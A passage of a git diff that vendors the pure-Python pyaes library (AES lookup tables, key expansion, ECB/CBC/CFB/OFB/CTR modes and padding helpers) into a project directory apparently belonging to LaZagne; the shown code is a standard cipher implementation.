0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ] + U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ] + U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ] + + def __init__(self, key): + + if len(key) not in (16, 24, 32): + raise ValueError('Invalid key size') + + rounds = self.number_of_rounds[len(key)] + + # Encryption round keys + self._Ke = [[0] * 4 for i in xrange(rounds + 1)] + + # Decryption round keys + self._Kd = [[0] * 4 for i in xrange(rounds + 1)] + + round_key_count = (rounds + 1) * 4 + KC = len(key) // 4 + + # Convert the key into ints + tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ] + + # Copy values into round key arrays + for i in xrange(0, KC): + self._Ke[i // 4][i % 4] = tk[i] + self._Kd[rounds - (i // 4)][i % 4] = tk[i] + + # Key expansion (fips-197 section 5.2) + rconpointer = 0 + t = KC + while t < round_key_count: + + tt = tk[KC - 1] + tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^ + (self.S[(tt >> 8) & 0xFF] << 16) ^ + (self.S[ tt & 0xFF] << 8) ^ + self.S[(tt >> 24) & 0xFF] ^ + (self.rcon[rconpointer] << 24)) + rconpointer += 1 + + if KC != 8: + for i in xrange(1, KC): + tk[i] ^= tk[i - 1] + + # Key expansion for 256-bit keys is "slightly different" (fips-197) + else: + for i in xrange(1, KC // 2): + tk[i] ^= tk[i - 1] + tt = tk[KC // 2 - 1] + + tk[KC // 2] ^= (self.S[ tt & 0xFF] ^ + (self.S[(tt >> 8) & 0xFF] << 8) ^ + (self.S[(tt >> 16) & 0xFF] << 16) ^ + (self.S[(tt >> 24) & 0xFF] << 24)) + + for i in xrange(KC // 2 + 1, KC): + tk[i] ^= tk[i - 1] + + # Copy values into round key arrays + j = 0 + while j < KC and t < round_key_count: + self._Ke[t // 4][t % 4] = tk[j] + self._Kd[rounds - (t // 4)][t % 4] = tk[j] + j += 1 + t += 1 + + # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3) + for r in xrange(1, rounds): + for j in xrange(0, 4): + tt = self._Kd[r][j] + self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^ + self.U2[(tt >> 16) & 0xFF] ^ + self.U3[(tt >> 8) & 0xFF] ^ + self.U4[ tt & 0xFF]) + + def encrypt(self, plaintext): + 'Encrypt a block of plain text using the AES block cipher.' + + if len(plaintext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Ke) - 1 + (s1, s2, s3) = [1, 2, 3] + a = [0, 0, 0, 0] + + # Convert plaintext to (ints ^ key) + t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T1[(t[ i ] >> 24) & 0xFF] ^ + self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T3[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T4[ t[(i + s3) % 4] & 0xFF] ^ + self._Ke[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Ke[rounds][i] + result.append((self.S[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.S[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.S[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + def decrypt(self, ciphertext): + 'Decrypt a block of cipher text using the AES block cipher.' + + if len(ciphertext) != 16: + raise ValueError('wrong block length') + + rounds = len(self._Kd) - 1 + (s1, s2, s3) = [3, 2, 1] + a = [0, 0, 0, 0] + + # Convert ciphertext to (ints ^ key) + t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)] + + # Apply round transforms + for r in xrange(1, rounds): + for i in xrange(0, 4): + a[i] = (self.T5[(t[ i ] >> 24) & 0xFF] ^ + self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^ + self.T7[(t[(i + s2) % 4] >> 8) & 0xFF] ^ + self.T8[ t[(i + s3) % 4] & 0xFF] ^ + self._Kd[r][i]) + t = copy.copy(a) + + # The last round is special + result = [ ] + for i in xrange(0, 4): + tt = self._Kd[rounds][i] + result.append((self.Si[(t[ i ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF) + result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF) + result.append((self.Si[(t[(i + s2) % 4] >> 8) & 0xFF] ^ (tt >> 8)) & 0xFF) + result.append((self.Si[ t[(i + s3) % 4] & 0xFF] ^ tt ) & 0xFF) + + return result + + +class Counter(object): + '''A counter object for the Counter (CTR) mode of operation. + + To create a custom counter, you can usually just override the + increment method.''' + + def __init__(self, initial_value = 1): + + # Convert the value into an array of bytes long + self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ] + + value = property(lambda s: s._counter) + + def increment(self): + '''Increment the counter (overflow rolls back to 0).''' + + for i in xrange(len(self._counter) - 1, -1, -1): + self._counter[i] += 1 + + if self._counter[i] < 256: break + + # Carry the one + self._counter[i] = 0 + + # Overflow + else: + self._counter = [ 0 ] * len(self._counter) + + +class AESBlockModeOfOperation(object): + '''Super-class for AES modes of operation that require blocks.''' + def __init__(self, key): + self._aes = AES(key) + + def decrypt(self, ciphertext): + raise Exception('not implemented') + + def encrypt(self, plaintext): + raise Exception('not implemented') + + +class AESStreamModeOfOperation(AESBlockModeOfOperation): + '''Super-class for AES modes of operation that are stream-ciphers.''' + +class AESSegmentModeOfOperation(AESStreamModeOfOperation): + '''Super-class for AES modes of operation that segment data.''' + + segment_bytes = 16 + + + +class AESModeOfOperationECB(AESBlockModeOfOperation): + '''AES Electronic Codebook Mode of Operation. + + o Block-cipher, so data must be padded to 16 byte boundaries + + Security Notes: + o This mode is not recommended + o Any two identical blocks produce identical encrypted values, + exposing data patterns. (See the image of Tux on wikipedia) + + Also see: + o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29 + o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1''' + + + name = "Electronic Codebook (ECB)" + + def encrypt(self, plaintext): + if len(plaintext) != 16: + raise ValueError('plaintext block must be 16 bytes') + + plaintext = _string_to_bytes(plaintext) + return _bytes_to_string(self._aes.encrypt(plaintext)) + + def decrypt(self, ciphertext): + if len(ciphertext) != 16: + raise ValueError('ciphertext block must be 16 bytes') + + ciphertext = _string_to_bytes(ciphertext) + return _bytes_to_string(self._aes.decrypt(ciphertext)) + + + +class AESModeOfOperationCBC(AESBlockModeOfOperation): + '''AES Cipher-Block Chaining Mode of Operation. + + o The Initialization Vector (IV) + o Block-cipher, so data must be padded to 16 byte boundaries + o An incorrect initialization vector will only cause the first + block to be corrupt; all other blocks will be intact + o A corrupt bit in the cipher text will cause a block to be + corrupted, and the next block to be inverted, but all other + blocks will be intact. + + Security Notes: + o This method (and CTR) ARE recommended. + + Also see: + o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29 + o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2''' + + + name = "Cipher-Block Chaining (CBC)" + + def __init__(self, key, iv = None): + if iv is None: + self._last_cipherblock = [ 0 ] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._last_cipherblock = _string_to_bytes(iv) + + AESBlockModeOfOperation.__init__(self, key) + + def encrypt(self, plaintext): + if len(plaintext) != 16: + raise ValueError('plaintext block must be 16 bytes') + + plaintext = _string_to_bytes(plaintext) + precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ] + self._last_cipherblock = self._aes.encrypt(precipherblock) + + return _bytes_to_string(self._last_cipherblock) + + def decrypt(self, ciphertext): + if len(ciphertext) != 16: + raise ValueError('ciphertext block must be 16 bytes') + + cipherblock = _string_to_bytes(ciphertext) + plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ] + self._last_cipherblock = cipherblock + + return _bytes_to_string(plaintext) + + + +class AESModeOfOperationCFB(AESSegmentModeOfOperation): + '''AES Cipher Feedback Mode of Operation. + + o A stream-cipher, so input does not need to be padded to blocks, + but does need to be padded to segment_size + + Also see: + o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29 + o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3''' + + + name = "Cipher Feedback (CFB)" + + def __init__(self, key, iv, segment_size = 1): + if segment_size == 0: segment_size = 1 + + if iv is None: + self._shift_register = [ 0 ] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._shift_register = _string_to_bytes(iv) + + self._segment_bytes = segment_size + + AESBlockModeOfOperation.__init__(self, key) + + segment_bytes = property(lambda s: s._segment_bytes) + + def encrypt(self, plaintext): + if len(plaintext) % self._segment_bytes != 0: + raise ValueError('plaintext block must be a multiple of segment_size') + + plaintext = _string_to_bytes(plaintext) + + # Break block into segments + encrypted = [ ] + for i in xrange(0, len(plaintext), self._segment_bytes): + plaintext_segment = plaintext[i: i + self._segment_bytes] + xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)] + cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ] + + # Shift the top bits out and the ciphertext in + self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) + + encrypted.extend(cipher_segment) + + return _bytes_to_string(encrypted) + + def decrypt(self, ciphertext): + if len(ciphertext) % self._segment_bytes != 0: + raise ValueError('ciphertext block must be a multiple of segment_size') + + ciphertext = _string_to_bytes(ciphertext) + + # Break block into segments + decrypted = [ ] + for i in xrange(0, len(ciphertext), self._segment_bytes): + cipher_segment = ciphertext[i: i + self._segment_bytes] + xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)] + plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ] + + # Shift the top bits out and the ciphertext in + self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment) + + decrypted.extend(plaintext_segment) + + return _bytes_to_string(decrypted) + + + +class AESModeOfOperationOFB(AESStreamModeOfOperation): + '''AES Output Feedback Mode of Operation. + + o A stream-cipher, so input does not need to be padded to blocks, + allowing arbitrary length data. + o A bit twiddled in the cipher text, twiddles the same bit in the + same bit in the plain text, which can be useful for error + correction techniques. + + Also see: + o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29 + o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4''' + + + name = "Output Feedback (OFB)" + + def __init__(self, key, iv = None): + if iv is None: + self._last_precipherblock = [ 0 ] * 16 + elif len(iv) != 16: + raise ValueError('initialization vector must be 16 bytes') + else: + self._last_precipherblock = _string_to_bytes(iv) + + self._remaining_block = [ ] + + AESBlockModeOfOperation.__init__(self, key) + + def encrypt(self, plaintext): + encrypted = [ ] + for p in _string_to_bytes(plaintext): + if len(self._remaining_block) == 0: + self._remaining_block = self._aes.encrypt(self._last_precipherblock) + self._last_precipherblock = [ ] + precipherbyte = self._remaining_block.pop(0) + self._last_precipherblock.append(precipherbyte) + cipherbyte = p ^ precipherbyte + encrypted.append(cipherbyte) + + return _bytes_to_string(encrypted) + + def decrypt(self, ciphertext): + # AES-OFB is symetric + return self.encrypt(ciphertext) + + + +class AESModeOfOperationCTR(AESStreamModeOfOperation): + '''AES Counter Mode of Operation. + + o A stream-cipher, so input does not need to be padded to blocks, + allowing arbitrary length data. + o The counter must be the same size as the key size (ie. len(key)) + o Each block independant of the other, so a corrupt byte will not + damage future blocks. + o Each block has a uniue counter value associated with it, which + contributes to the encrypted value, so no data patterns are + leaked. + o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and + Segmented Integer Counter (SIC + + Security Notes: + o This method (and CBC) ARE recommended. + o Each message block is associated with a counter value which must be + unique for ALL messages with the same key. Otherwise security may be + compromised. + + Also see: + + o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29 + o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5 + and Appendix B for managing the initial counter''' + + + name = "Counter (CTR)" + + def __init__(self, key, counter = None): + AESBlockModeOfOperation.__init__(self, key) + + if counter is None: + counter = Counter() + + self._counter = counter + self._remaining_counter = [ ] + + def encrypt(self, plaintext): + while len(self._remaining_counter) < len(plaintext): + self._remaining_counter += self._aes.encrypt(self._counter.value) + self._counter.increment() + + plaintext = _string_to_bytes(plaintext) + + encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ] + self._remaining_counter = self._remaining_counter[len(encrypted):] + + return _bytes_to_string(encrypted) + + def decrypt(self, crypttext): + # AES-CTR is symetric + return self.encrypt(crypttext) + + +# Simple lookup table for each mode +AESModesOfOperation = dict( + ctr = AESModeOfOperationCTR, + cbc = AESModeOfOperationCBC, + cfb = AESModeOfOperationCFB, + ecb = AESModeOfOperationECB, + ofb = AESModeOfOperationOFB, +) diff --git a/lazagne/config/crypto/pyaes/blockfeeder.py b/lazagne/config/crypto/pyaes/blockfeeder.py new file mode 100644 index 0000000..b9a904d --- /dev/null +++ b/lazagne/config/crypto/pyaes/blockfeeder.py @@ -0,0 +1,227 @@ +# The MIT License (MIT) +# +# Copyright (c) 2014 Richard Moore +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. + + +from .aes import AESBlockModeOfOperation, AESSegmentModeOfOperation, AESStreamModeOfOperation +from .util import append_PKCS7_padding, strip_PKCS7_padding, to_bufferable + + +# First we inject three functions to each of the modes of operations +# +# _can_consume(size) +# - Given a size, determine how many bytes could be consumed in +# a single call to either the decrypt or encrypt method +# +# _final_encrypt(data, padding = PADDING_DEFAULT) +# - call and return encrypt on this (last) chunk of data, +# padding as necessary; this will always be at least 16 +# bytes unless the total incoming input was less than 16 +# bytes +# +# _final_decrypt(data, padding = PADDING_DEFAULT) +# - same as _final_encrypt except for decrypt, for +# stripping off padding +# + +PADDING_NONE = 'none' +PADDING_DEFAULT = 'default' + +# @TODO: Ciphertext stealing and explicit PKCS#7 +# PADDING_CIPHERTEXT_STEALING +# PADDING_PKCS7 + +# ECB and CBC are block-only ciphers + +def _block_can_consume(self, size): + if size >= 16: return 16 + return 0 + +# After padding, we may have more than one block +def _block_final_encrypt(self, data, padding = PADDING_DEFAULT): + if padding == PADDING_DEFAULT: + data = append_PKCS7_padding(data) + + elif padding == 